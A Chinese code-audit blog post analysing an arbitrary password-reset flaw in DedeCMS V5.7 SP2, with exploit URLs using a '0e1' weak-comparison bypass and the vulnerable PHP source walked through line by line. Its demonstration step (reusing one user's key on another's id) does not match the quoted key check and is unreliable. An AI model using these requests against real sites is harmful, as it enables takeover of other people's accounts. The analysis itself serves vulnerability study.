代码审计|DedeCMS任意用户密码重置漏洞分析记录

受影响版本

DEDECMS V5.7 SP2

威胁发生的环境要求

1.管理员预先开启会员注册

2.用户没有设置安全问题验证

一些 DedeCMS 小常识

admin不能在会员前台登录

数据库中的用户编号字段为mid

数据库中的会员表表名:dede_member

数据库中的临时密码存放的表名:dede_pwd_tmp

任意用户密码重置过程演示

模拟管理员设置

开启会员注册 不设置安全问题验证

注册会员用户

用户 1 :

帐号 test1   密码 test1    mid 为 2  id 为 2

用户 2 :

帐号 test2   密码 test2    mid 为 3  id 为 3

test1 用户下获取 key 值

test1账户登录时,访问以下url并使用burpsuite抓包,

http://www.dede01.com/member/resetpassword.php?dopost=safequestion&safequestion=0e1&safeanwser=&id=2

发送到Repeater模块中,go一下,查看页面返回信息

document.write("<br /><a href='http://www.dede01.com/member/resetpassword.php?dopost=getpasswd&amp;id=2&amp;key=EDsVLWrh'>如果你的浏览器没反应,请点击这里...</a><br/></div>");

在页面返回数据中,获取到key值为EDsVLWrh

利用 key 值重置 test2 用户的密码

url中传入getpasswd、需要修改密码的用户id和上面获取到的key值。

http://www.dede01.com/member/resetpassword.php?dopost=getpasswd&id=3&key=EDsVLWrh

成功修改test2用户的密码。

过程分析

修改密码访问的php文件是:

http://www.dede01.com/member/resetpassword.php

漏洞出处从resetpassword.php中的第75行代码开始

else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起,您的安全问题或答案回答错误","-1");
        exit();
    }
}

GET方式传入dopost=safequestion时,进入此 else if 语句,

用户mid值通过用户id值传入,接着数据库查询dede_member表中mid值对应用户的safequestion,safeanswer,userid,email字段值,存放在$row数组中。

初始查询

mysql> SELECT safequestion,safeanswer,userid,email from dede_member WHERE mid = 2;
+--------------+------------+--------+-------------+
| safequestion | safeanswer | userid | email       |
+--------------+------------+--------+-------------+
|            0 |            | test1  | test@qq.com |
+--------------+------------+--------+-------------+
1 row in set (0.00 sec)

发现safequestion默认为0safeanswer默认为null

我们要顺利进入到sn()函数,就需要让$row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswertrue

  • 第一处$row['safequestion'] == $safequestion

已知$['safequestion']默认为'0',需要构造一个$safequestion来满足=='0'时为true,并且还要绕过前面的if(empty($safequestion))判断

这里便需要考虑PHP的弱类型比较,查阅知道

0.0 
0.
0e1

$safequestion为这些值的时候,满足$row['safequestion'] == $safequestion

  • 第二处$row['safeanswer'] == $safeanswer

已知$row['safeanswer']默认为null,我们只需要设置$safeanswer=''即可为true

附上一个绕过上面的empty()函数和弱类型比较的测试代码:

<?php
var_dump(empty(0));             // true
echo "<br />";
var_dump(empty('0'));           // true
echo "<br />";
var_dump(empty('0.0'));         // false
echo "<br />";
var_dump(0.0==0);               // true
echo "<br />";
var_dump('0.0'==0);             // true
echo "<br />";
var_dump(null=='');             // true
?>

紧接着进入了sn()函数,传入了四个参数值,注意最后一个是send值等于'N'

我们进行跟踪,发现sn()函数定义位置在\member\incinc_pwd_functions.php的第150

function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(!is_array($row))
    {
        //发送新邮件;
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
    //10 分钟后可以再次发送新验证码;
    elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //重新发送新的验证码确认邮件;
    else
    {
        return ShowMsg('对不起,请 10 分钟后再重新申请', 'login.php');
    }
}

函数中首先通过mid值,查询临时密码表中对应的数据

mysql> SELECT * FROM dede_pwd_tmp WHERE mid =2;
+-----+------------+----------------------------------+------------+
| mid | membername | pwd                              | mailtime   |
+-----+------------+----------------------------------+------------+
|   2 | test1      | 06bfa1a0998ff71fa1eb7d0b2434098a | 1565517413 |
+-----+------------+----------------------------------+------------+
1 row in set (0.00 sec)

首次查询时,临时密码表中为空,因此!is_array($row)ture,进入if语句中,执行了newmail()函数:

newmail($mid,$userid,$mailto,'INSERT',$send);

重点关注传入了type的值INSERT$send还是之前传入的N

追踪newmail()函数,发现在该php文件的上面第73行:

function newmail($mid, $userid, $mailto, $type, $send)
{
    global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
    $mailtime = time();
    $randval = random(8);
    $mailtitle = $cfg_webname.":密码修改";
    $mailto = $mailto;
    $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
    $mailbody = "亲爱的".$userid.":\r\n 您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n 本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
    if($type == 'INSERT')
    {
        $key = md5($randval);
        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                return ShowMsg('EMAIL 修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
            } else if ($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval);
            }
        }
        else
        {
            return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
        }
    }
    elseif($type == 'UPDATE')
    {
        $key = md5($randval);
        $sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime'  WHERE `mid` ='$mid';";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                ShowMsg('EMAIL 修改验证码已经发送到原来的邮箱请查收', 'login.php');
            }
            elseif($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval);
            }
        }
        else
        {
            ShowMsg('对不起修改失败,请与管理员联系', 'login.php');
        }
    }
}

分析执行newmail()函数过程中,由于$type=='INSERT'$send == 'N'

$randval表示产生的一个8位随机数,并赋值给$key,采用md5加密,插入到dede_pwd_tmp表的pwd字段。

当执行到第94行代码时,发生跳转:

return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval);

返回到了resetpassword.php,并向页面输出depost=getpasswd,idkey的值。

回到resetpassword.php中,发现当$dopost == "getpasswd"时,执行重置用户密码的操作:

else if($dopost == "getpasswd")
{
    //修改密码
    if(empty($id))
    {
        ShowMsg("对不起,请不要非法提交","login.php");
        exit();
    }
    $mid = preg_replace("#[^0-9]#", "", $id);
    $row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
    if(empty($row))
    {
        ShowMsg("对不起,请不要非法提交","login.php");
        exit();
    }
    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim > $row['mailtime'])
        {
            $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起,临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
    elseif($setp == 2)
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('更改密码成功,请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起,新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起,临时密码错误', '-1');
        exit;
    }
}

判断keymd5是否和dede_pwd_tmp表的pwd字段相同,相同则更新用户密码,完成任意用户密码重置。

文章目录

3 条评论

发表评论

*